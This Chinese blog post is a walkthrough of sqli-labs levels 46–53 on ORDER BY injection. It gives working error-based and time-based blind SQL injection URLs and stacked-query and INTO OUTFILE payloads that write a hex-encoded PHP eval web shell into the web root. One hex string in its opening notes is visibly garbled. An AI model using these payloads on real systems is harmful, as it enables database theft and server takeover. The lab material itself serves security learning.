0
点赞
收藏
分享

微信扫一扫

SQL注入之sqli-labs(八)

Android开发指南 2022-04-29 阅读 71

目录

(八)第四十六关到五十二关

(1)补充知识

(2)第四十六关

(3)第四十七关

(4)第四十八关

(5)第四十九关

(6)46-49关使用一句话木马

(7)第五十关

(8)第五十一关

(9)第五十二关

(10)第五十三关


(八)第四十六关到五十二关

(1)补充知识

order by 1 desc 使用降序进行排列

order by 1 asc 使用升序进行排列

lines terminated by xxx 以xxx结尾

select * from users into outfile 'D:\\vmworkstation\\phpstudy\\phpstudy_pro\\WWW\\1.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545bundefined8686868undefined95d293b3f3e;

后面那个是一句话木马<?php @eval($_POST[‘hhh’]);?>的16进制形式

(2)第四十六关

我们打开46关,发现他提示我们使用sort 作为参数,首先我们输入

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1

发现是以第一列排序的,改变 sort 的值,发现可以按照不同的值进行排序

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 desc
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 asc

分别为降序排列和升序排列。

使用联合注入,发现不行。

这里我们拿数据的话可以使用以下两种方法:

1、报错注入

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and 1=1--+

发现可以使用and ,我们尝试使用报错注入

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and updatexml(1,concat(0x7e,database()),1)--+

发现可以

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and updatexml(1,mid(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1,32),1)--+
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and updatexml(1,mid(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1,32),1)--+

然后就是表、字段、数据等

2、时间盲注

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and if((database()='security'),sleep(0.3),1)

(3)第四十七关

就是用单引号包裹了sort,其他一样

(4)第四十八关

这里和第四十六关的不一样之处就是不回显报错信息了,所以不能使用报错注入,只能使用时间盲注

(5)第四十九关

单引号包裹,不能使用报错注入,使用时间盲注

(6)46-49关使用一句话木马

我们先用之前的那种方法看能不能写入一句话木马

这里我们以49关为例

http://127.0.0.1/sqli-labs-master/Less-49/?sort=1' and (select '<?php @eval($_POST['hhh']);?>') into outfile 'D:\\vmworkstation\\phpstudy\\phpstudy_pro\\WWW\\2.php'--+

发现没有反应,但是我们使用 lines terminated by 函数就可以了

http://127.0.0.1/sqli-labs-master/Less-49/?sort=1' into outfile 'D:\\vmworkstation\\phpstudy\\phpstudy_pro\\WWW\\2.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b27686868275d293b3f3e--+

之后就是中国菜刀了

(7)第五十关

我们看一下源码

这个是46~49关的:

这个是50关的:

 

区别就在于这两个函数不同

​​​​​​PHP mysql_fetch_assoc() 函数 (w3school.com.cn)

PHP mysqli_multi_query() 函数 | 菜鸟教程 (runoob.com)

所以我们可以在本关使用堆叠注入

解题方法:

1、报错注入

http://127.0.0.1/sqli-labs-master/Less-50/?sort=1 and updatexml(1,concat(0x7e,database()),1)

2、时间盲注

http://127.0.0.1/sqli-labs-master/Less-50/?sort=1 and if((database()='security'),sleep(0.3),1)

3、堆叠注入一句话木马

http://127.0.0.1/sqli-labs-master/Less-50/?sort=1 ; select * from users into outfile 'D:\\vmworkstation\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-50\\test.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b27686868275d293b3f3e

等等

这里只写出了一些简单的用法,更多的请读者自行尝试。

(8)第五十一关

加单引号

(9)第五十二关

不能使用报错注入

(10)第五十三关

加单引号,不能使用报错注入

举报

相关推荐

0 条评论